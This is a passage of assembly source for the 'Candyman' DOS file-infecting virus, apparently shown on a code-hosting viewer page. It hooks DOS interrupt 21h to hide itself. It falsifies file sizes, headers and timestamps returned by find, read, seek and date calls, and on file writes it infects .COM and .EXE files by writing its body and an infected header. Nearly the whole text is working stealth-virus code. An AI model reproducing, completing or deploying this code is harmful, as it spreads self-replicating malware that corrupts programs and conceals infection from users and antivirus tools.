📄 candyman.asm
字号:
CALL OldInt21h
CMP ES:[BX.FCB_Drive], -1 ; It's an extended FCB ?
JNE No_Ext_FCB
ADD BX, 7 ; Then skip extended block.
No_Ext_FCB: LEA SI, [BX.FCB_Size] ; Set index-registers.
LEA DI, [BX.FCB_Name+8]
LEA BX, [BX.FCB_Time]
JMP Edit_DTA
; ============= FIND FIRST/NEXT HANDLE ======================================
Check_4_Find_H: CMP AH, 4Eh ; Findfirst (handle) ?
JB Check_4_Read
CMP AH, 4Fh ; Findnext (handle) ?
JA Check_4_Read
Mirror_Handle: CALL OldInt21h
PUSHF
PUSHA
PUSH DS
PUSH ES
JC Exit_Mir_Size
MOV AX, 2F00h + '.' ; Get DTA-address.
CALL OldInt21h
LEA DI, [BX.Handle_Name] ; Find extension-offset.
MOV CH, 0FFh
CLD
REPNE SCASB
LEA SI, [BX.Handle_Size] ; Set index-registers.
LEA BX, [BX.Handle_Time]
Edit_DTA: PUSH ES
POP DS
CWD ; DX = 00h.
MOV AL, DS:[BX] ; Get filetime.
AND AL, 00011111b ; Mask seconds.
CMP AL, (60 / 2) ; 60 seconds?
JE Exit_Mir_Size ; If so, abort mirror.
CMP DS:[SI+2], DX ; File is over 64k ?
JNZ Check_COM_Ext
CMP DS:[SI], Min_Size_Infect ; Large enough?
JB Exit_Mir_Size
Check_COM_Ext: CMP DS:[DI], 'OC' ; .COM-extension?
JNE Check_EXE_Ext
CMP BYTE PTR DS:[DI+2], 'M'
JNE_Exit_Mir_S: JNE Exit_Mir_Size
CMP [SI+2], DX ; .COM is bigger than 64k ?
JNZ Exit_Mir_Size
; .COM is not too big?
CMP [SI], (65535 - (Virus_Size + 1024))
JB Add_Size_Virus
Check_EXE_Ext: CMP DS:[DI], 'XE' ; .EXE-entension?
JNE Exit_Mir_Size
CMP BYTE PTR DS:[DI+2], 'E'
JNE Exit_Mir_Size
Add_Size_Virus: ADD DS:[SI], Virus_Size ; Add virussize.
ADC DS:[SI+2], DX
; Set infected timestamp.
AND BYTE PTR DS:[BX], 11100000b
OR BYTE PTR DS:[BX], (60 / 2)
Exit_Mir_Size: JMP Exit_Mirror_S
; ============= FILE READ ===================================================
Check_4_Read: CMP AH, 3Fh ; Read handle.
JNE Check_4_Seek
Mirror_Read: CALL OldInt21h ; Execute read.
PUSHF ; Save all registers.
PUSHA
PUSH DS
PUSH ES
JC Exit_Mirror_R ; Abort if error occurred.
CALL Check_Handle_Inf
JC Exit_Mirror_R
PUSH AX
PUSH DX
JNZ Read_Over_64k ; Read started in 1st 64k ?
CMP AX, 24 ; They are reading from the
JNB Read_Over_64k ; header?
; === Mirror the read header. ===
ADD DI, AX ; Calculate end of read.
JC Adjust_DI ; Overflow?
CMP DI, 24 ; They read to the end of
JB No_Adjust_DI ; the header?
Adjust_DI: MOV DI, 24 ; If so, adjust register.
No_Adjust_DI: MOV CX, DI ; Howmany bytes to mirror?
SUB CX, AX
MOV DI, [BP.Reg_DX]
ADD SI, AX
CLD ; Copy infected header into
REP MOVSB ; caller's buffer.
Read_Over_64k: POP DI ; DI:SI position before read.
POP SI
ADD SI, [BP.Reg_CX] ; DI:SI = position after
ADC DI, CX ; read.
CALL Go_EOF
; === Check if the read ends above the clean host. ===
CMP DI, DX ; Check high word.
JB Restore_Read
JA Mirror_Above
CMP SI, AX ; Check low word.
JNA Restore_Read
Mirror_Above: ADD AX, Virus_Size ; Calculate size of
ADC DX, CX ; mirrored host.
; Check if the read ends before the end
; of the virtual virusbody has reached.
CMP DI, CX ; Check high word.
JB No_Adjust
JA Do_Adjust
CMP SI, AX ; Check low word.
JNA No_Adjust
Do_Adjust: MOV SI, AX ; Read was over virusbody.
MOV DI, DX
No_Adjust: SUB AX, Virus_Size
PUSH AX
CALL Restore_File_Pos ; Restore position after
; the caller's read.
POP CX
MOV File_Pos_Lo, SI ; Save new file-position.
MOV File_Pos_Hi, DI
SUB SI, AX
SUB AX, CX
MOV CX, SI
XCHG SI, AX
MOV DI, [BP.Reg_DX]
ADD DI, [BP.Reg_AX]
ADD [BP.Reg_AX], CX
CLD ; Copy virusbody into
REP MOVSB ; caller's readbuffer.
Restore_Read: CALL Restore_File_Pos
Exit_Mirror_R: JMP Exit_Mirror_S
; ============= FILE SEEK ===================================================
Check_4_Seek: CMP AX, 4202h ; Seek EOF ?
JNE Check_4_Write
Mirror_Seek: CALL OldInt21h
PUSHF
PUSHA
PUSH DS
PUSH ES
JC Exit_Mirror_S
CALL Check_Handle_Inf ; Handle appropriate for
JC Exit_Mirror_S ; infection?
MOV AX, 4201h ; Add the virussize to EOF.
MOV DX, Virus_Size
CALL OldInt21h
MOV [BP.Reg_AX], AX ; Set new values in stack.
MOV [BP.Reg_DX], DX
Exit_Mirror_S: POP ES
POP DS
JMP Exit_RETF2
; ============= FILE WRITE ==================================================
Check_4_Write: CMP AH, 40h ; Write file?
JNE Check_4_TDate
PUSHA
PUSH DS
PUSH ES
CALL Check_Handle_Inf
JC Abort_Routine
CALL Go_BOF
MOV AH, 40h ; Write the infected header.
MOV CL, 24
MOV DX, SI
CALL OldInt21h
JC Restore_Pos
CALL Go_EOF
MOV AH, 40h ; Write the virusbody.
MOV CX, Virus_Size
CWD
CALL OldInt21h
Restore_Pos: CALL Restore_File_Pos
Exit_Mir_Write: POP ES
POP DS
POPA
CALL OldInt21h ; Do the write.
JC Do_RETF2
PUSHF
PUSHA
MOV AX, 5700h ; Get filedate & time.
CALL OldInt21h
MOV AX, 5701h ; Set infected timestamp.
AND CL, 11100000b
OR CL, (60 / 2)
CALL OldInt21h
Exit_RETF2: POPA
POPF
Do_RETF2: RETF 2
; ============= GET FILE DATE & TIME ========================================
Check_4_TDate: CMP AX, 5700h ; Get filedate & time?
JNE Check_4_Res
Mirror_F_Time: CALL OldInt21h
PUSHF
PUSHA
PUSH DS
PUSH ES
JC Exit_Filetime
CALL Check_Handle_Inf ; Handle OK for infection?
JC Exit_Filetime
; Set infected timestamp in the stack.
AND BYTE PTR [BP.Reg_CX], 11100000b
OR BYTE PTR [BP.Reg_CX], (60 / 2)
Exit_Filetime: JMP Exit_Mirror_S
; ============= VIRUS RESIDENCY CHECK =======================================
Check_4_Res: CMP AX, Residency_Check ; "Are-you-there-bro?" call?
JNE JMP_Int21h
MOV AX, Marker_Mem ; Yeah dude, here I am.
IRET
Abort_Routine: POP ES
POP DS
POPA
JMP_Int21h: DB 0EAh ; JMP FAR opcode.
Virus_End:
Int21h DW 0, 0
Header DB 24 DUP(0)
Virus_End_Mem:
COM_Header STRUC
Jump DB 0
Displacement DW 0
COM_Header ENDS
EXE_Header STRUC
EXE_Mark DW 0 ; Marker valid .EXE-file: MZ or ZM.
Image_Mod_512 DW 0
Image_512_Pages DW 0
Reloc_Items DW 0
Header_Size_Mem DW 0
Min_Size_Mem DW 0
Max_Size_Mem DW 0
Program_SS DW 0
Program_SP DW 0
Checksum DW 0
Program_IP DW 0
Program_CS DW 0
Offs_RelocTable DW 0
Overlay_Number DW 0
Undocumented DW 0
Unused DW 0
EXE_Header ENDS
FindFirstHandle STRUC
Handle_Reserved DB 21 DUP(0)
Handle_Attr DB 0
Handle_Time DW 0
Handle_Date DW 0
Handle_Size DW 0, 0
Handle_Name DW 6 DUP(0)
DB 0
FindFirstHandle ENDS
FindFirst_FCB STRUC
FCB_Drive DB 0
FCB_Name DB 8 DUP(0)
FCB_Ext DB 3 DUP(0)
FCB_Attr DB 0
FCB_Reserved DB 10 DUP(0)
FCB_Time DW 0
FCB_Date DW 0
FCB_Start_Clust DW 0
FCB_Size DW 0, 0
FindFirst_FCB ENDS
Push_All_Stack STRUC
Reg_ES DW 0
Reg_DS DW 0
Reg_DI DW 0
Reg_SI DW 0
Reg_BP DW 0
Reg_SP DW 0
Reg_BX DW 0
Reg_DX DW 0
Reg_CX DW 0
Reg_AX DW 0
Reg_Flags DW 0
Reg_Ret_Addr DW 0
Push_All_Stack ENDS
MCB_Header STRUC
MCB_Type DB 0 ; M = not last block, Z = last block.
MCB_PSP DW 0 ; PSP-segment of this block.
MCB_Size_Mem DW 0 ; Size of block in paragraphs.
MCB_Dunno DB 3 DUP(0) ; Don't care, don't need it.
MCB_Program DW 4 DUP(0) ; Filename of program of this block.
MCB_Header ENDS
Carrier:
PUSH CS
POP DS
MOV AH, 09h
MOV DX, OFFSET Carrier_Msg
INT 21h
MOV AX, 4C00h
INT 21h
Carrier_Msg DB 'File infected with Candyman virus!', 0Ah, 0Dh, '$'
END START
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -